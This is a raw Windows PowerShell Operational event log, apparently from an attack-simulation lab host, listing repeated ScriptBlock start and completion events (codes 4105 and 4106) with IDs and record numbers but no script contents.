Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037521
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037515
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037493
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037492
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037491
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037490
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
